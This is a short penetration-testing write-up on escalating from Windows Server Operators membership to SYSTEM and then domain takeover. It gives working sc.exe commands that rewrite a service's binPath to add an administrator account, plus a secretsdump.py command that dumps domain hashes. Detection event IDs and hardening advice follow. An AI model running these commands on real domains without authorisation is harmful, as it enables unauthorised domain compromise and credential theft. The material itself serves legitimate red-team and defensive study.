Server Operators group abuse

The built-in Server Operators group lets members administer Windows servers (including domain controllers) without being Domain Admins, which makes it a highly privileged group. Its members can log on locally to servers, receive the SeBackupPrivilege and SeRestorePrivilege privileges, and above all control local services. Since many services start as LocalSystem, reconfiguring the binary of one of them lets us run an arbitrary command as SYSTEM and, on a DC, take over the whole domain.

Mechanism

We look for a service that starts as SYSTEM and over which Server Operators has full control. First we confirm the account it runs under with sc.exe:

sc qc AppReadiness

SERVICE_START_NAME : LocalSystem

With PsService (Sysinternals) we check the service DACL: BUILTIN\Server Operators with All means SERVICE_ALL_ACCESS, that is, full control:

PsService.exe security AppReadiness

        [ALLOW] BUILTIN\Server Operators
                All

Then we rewrite the service binPath so it runs our action (here, adding ourselves to the local administrators) and start it. The start usually fails (the binary is no longer a real service), but the binPath command still runs as SYSTEM:

sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
sc start AppReadiness
net localgroup Administrators

With local admin access on the DC we can now dump every hash in the domain:

secretsdump.py server_adm@<ip> -just-dc-user administrator

Requirements

Membership in Server Operators (SID S-1-5-32-549) and a service that starts as SYSTEM with the default DACL that grants the group full control. On a DC this amounts to full domain compromise. It is good practice to restore the original binPath afterwards and log the change, since it is a high-impact action.

How to detect it. The abuse is given away by service configuration change events (7040/4697) altering the binPath to a cmd /c or powershell, followed by a failed start attempt (7000/7009), and by a new account appearing in Administrators or the subsequent use of secretsdump/DCSync. Reconfiguration of system services by an account that is not a Domain Admin is the main signal.

Defence. Empty Server Operators unless truly needed and treat it as a tier-0 group; harden service DACLs so operational groups do not hold SERVICE_ALL_ACCESS; audit binPath changes; and apply administrative tiering so that managing servers does not imply touching the DC. It is a relative of insecure service permissions abuse, Account Operators abuse and SeBackupPrivilege abuse, and culminates in the NTDS dump.